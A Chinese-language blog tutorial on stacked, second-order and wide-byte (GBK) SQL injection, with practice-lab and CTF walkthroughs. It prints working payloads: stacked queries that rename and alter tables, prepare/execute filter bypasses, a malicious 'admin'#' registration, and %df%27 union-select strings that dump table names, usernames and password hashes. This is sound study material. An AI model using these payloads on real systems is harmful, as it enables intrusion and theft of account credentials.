前言
文章同步于我的个人博客https://quan9i.top/sqlway/,欢迎大家访问。
近期在进行sql注入实战的时候发现一些注入方式并不是很擅长运用,在这里对部分注入方式进行总结,希望能对正在学习sql注入的师傅们有所帮助
堆叠注入
原理
在SQL中,分号(;)是用来表示一条sql语句的结束,那我们在一句SQL语句结束后再紧跟一句SQL语句 ,此时会不会执行两条语句 答案是会,堆叠注入正是基于这种思想而来。
举个简单例子
mysql> select(ascii('a'));show tables;
+
| (ascii('a')) |
+
| 97 |
+
1 row in set (0.00 sec)
+
| Tables_in_security |
+
| emails |
| referers |
| uagents |
| users |
+
4 rows in set (0.00 sec)
限制
堆叠注入的局限性在于并不是每一个环境下都可以执行 可能受到API或者数据库引擎不支持的限制 又可能因为权限不足而无法正确执行
举个例子 PHP为了防止sql注入机制,往往使用调用数据库的函数是mysql_query()函数,这个函数只运行执行一条语句,分号后面的内容将不会被执行,此时堆叠注入就失效了
实战
0X01
打开靶场后,首先判断一下id包裹方式 判断出为单引号包裹,此时判断一下字段数 说明字段为2,此时尝试使用联合查询 发现联合查询被ban,此时我们无法使用联合查询进行注入,尝试使用堆叠注入,还有部分被过滤,select无法使用,我们可以使用show,进行爆库 构造如下payload
-1';show databases;
执行结果如下 爆表 爆出列名
-1';show columns from `1919810931114514`;
执行结果
-1';show columns from `words`;
这里我们可以看出这个words表是默认查询的表(这张表的结构是一个数字加一个字符串) ,众所周知show是无法查看字段信息的,我们该如何获取flag呢 这里alert和rename没有被限制,我们可以利用rename将words这张表改名为words1,再将数字表改名为words,但是呢,此时他是缺少了一个id列的,因此我们可以用alert将flag列改名为id列,并规定类型为varchar,构造payload如下
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;
此时再利用万能语句,即可得到flag
1' or 1=1
这里还有一种方法,就是采用预编译的方法
set是设置一个新列
prepare是进行定义一个语句
execute是执行
构造payload如下
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
执行结果 这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;
执行结果
0X02
本关我们尝试以弱口令admin作为账号,对pwd进行堆叠注入测试,构造payload如下
1'insert into users(id,username,password) values(88,'aaa','bbb');
执行结果 此时查看sql数据库 查看源码
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
username进行了转义,但pwd没有用函数进行限制,因此这里就出现了堆叠注入漏洞
二次注入
原理
用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。 我的认识: 小白对此的理解:先向数据库存入恶意数据,数据在前端被转义,但在存放到数据库时保持原样,此时我们再调用此数据,执行sql查询,二次注入出现! 图解如下
过程
1、用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义) 2、数据库对自己存储的数据非常放心,直接取出恶意数据给用户
实战
进入界面后如下图所示 发现下方有注册的,我们点击注册,用弱口令admin来尝试,命名为admin’#,密码设置为111,如下图 此时查询数据库,发现注册的已经插入数据库中 我们登录看看,如下图 发现是更改密码的,我们试着将111改123,此时查看数据库 发现更改了admin的密码,即说明注入成功!
作用
那他到底能有什么作用呢,我们可以通过一段php代码来体现它的作用
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) {
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for ($j=0; $j < $num_detail; ++$j) {
$row_detail = mysql_fetch_array($result_detail);
echo<<<END
<table border="1" style="table-layout:fixed;" width="1000">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
}
}
?>
执行结果为 用户名和密码被打印出来了!
宽字节注入
原理
首先我们需要了解一下单字节和宽字节
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
宽字节字符集: 所有的字符都使用两个字节来表示。
注:英文字母占一个字节,汉字占两字节 为什么会产生宽字节注入漏洞,这是因为前端使用的是utf-8编码 ,后端使用的是gbk,gb2312或其他宽字节编码 ,这样两者就会存在出入,进而导致了宽字节注入的产生。 对编码字符集的小科普
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。
但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,
比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8
两个版本(例如:dedecms) 我们就以gbk字符编码为例,拉开帷幕。
GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以
gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。
例如:0xD50×5C 对应了汉字“誠 ”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c
经URL解码后为“誠”。
前端使用的部分函数对特殊字符进行转义,添加反斜杠 \ ,那我们如果能够再前面多一个字符,使其与\组成汉字,就成功的使后面的特殊字符逃逸出来,从而可以进行注入。 下方是转义时运用的部分函数
magic_quotes_gpc:当PHP的传参中有特殊字符就会在前面加转义字符'\',来做一定的过滤
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() — 转义一个字符串
实战
0X01
当我们输入?id=1' 时,发现多了一个反斜线,此时我们考虑到宽字节注入,尝试去构造一个字母与后面的\组成汉字,我们知道%df与\可以组成汉字運 ,构造payload如下
?id=1%df%27
注:%27是单引号的url编码
执行结果 �\ 实际上就是那个運字 ,此时我们就可以尝试进行注入 爆库
?id=-1%df%27 union select 1,2,database()%23
执行结果 爆表
?id=-1%df%27 union select 1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema=database())
注:此时库名不能写'security' ,因为出现了单引号,可以用database() 或十六进制 来进行代替 爆列名
?id=-1%df%27 union select 1,2,
(select group_concat(column_name) from information_schema.columns
where table_name=0x7573657273)
执行结果
爆字段信息(下方以uesrs为例)
?id=-1%df%27 union select 1,2,
(select group_concat(username,0x7e,password) from security.users)
执行结果
0X02
进入靶场后 下方灰色处发现可以点击,点击进入 尝试宽字节注入
?id=1%df'
发现报错,说明可以进行宽字节注入 那就开始日常的sql注入流程,判断字段数
?id=1%df' order by 6
执行结果 说明字段数为5,此时利用联合查询,看哪个有回显
?id=-1%df' union select 1,2,3,4,5
发现3和5有回显位,此时利用3和5来爆库并得到当前用户名
?id=-1%df' union select 1,2,user(),4,database()
mozhe_discuz_stormgroup 此时再查表名
?id=-1%df' union select 1,2,user(),4,(select group_concat(table_name) from
information_schema.tables where
table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570)
同时查两个表的列名
?id=-1%df' union select 1,2,(select group_concat(column_name) from
information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
(select group_concat(column_name) from information_schema.columns where
table_name=0x6e6f74696365)
此时想到我们登录需要的是name和password,因此我们查询这两个字段
?id=-1%df' union select 1,2,(select group_concat(column_name) from
information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
(select group_concat(name,0x7e,password,0x7e,status) from
mozhe_discuz_stormgroup.stormgroup_member)
得到uesrname是mozhe,此时用password对后面状态为1的进行md5解密 得到密码,进行登录 获取到了key,解题完成
|